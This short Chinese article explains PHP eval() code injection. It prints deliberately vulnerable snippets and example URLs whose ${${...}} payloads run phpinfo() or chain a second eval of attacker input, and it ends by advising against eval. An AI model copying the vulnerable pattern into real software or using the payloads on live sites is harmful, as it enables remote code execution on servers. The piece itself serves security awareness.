PHP的一個(gè)EVAL的利用防范
作者:phpeval
前段時(shí)間一個(gè)程序出的問題。就和這差不多。
<?php
$code="${${eval($_GET[c])}}";
?>
對(duì)于上面的代碼。如果在URL提交http://www.phpeval.cn/test.php?c=phpinfo(); 就可以發(fā)現(xiàn)phpinfo()被執(zhí)行了。而相應(yīng)的提交c=echo 11111; 發(fā)現(xiàn)1111也被輸出了。這個(gè)代碼被執(zhí)行了。
(好些PHP的代碼在寫文件的時(shí)候。都沒有注意到這一點(diǎn)。他們?cè)诖a中寫php的文件的時(shí)候。把代碼加在雙引號(hào)之內(nèi)。然后過濾掉雙引號(hào)。認(rèn)為這樣就不能執(zhí)行了。實(shí)際上是可以的。)
還有一些利用方式,比如:
<?php
$code=addslashes($_GET[c]);
eval(""$code"");
?>
提交 http://www.site.cn/test.php?c=${${phpinfo()}}; phpinfo()就被執(zhí)行。如果提交
http://www.site.cn/test.php?c=${${eval($_GET[d])}};&d=phpinfo();
這樣的話,d后面的代碼也被執(zhí)行。
解決方法:
eval函數(shù)減弱了你的應(yīng)用的安全性,因?yàn)樗o被求值的文本賦予了太多的權(quán)力。強(qiáng)烈建議不要使用eval函數(shù)。
版權(quán)聲明:本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請(qǐng)保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學(xué)習(xí)參考,不代表本站立場(chǎng),如有內(nèi)容涉嫌侵權(quán),請(qǐng)聯(lián)系alex-e#qq.com處理。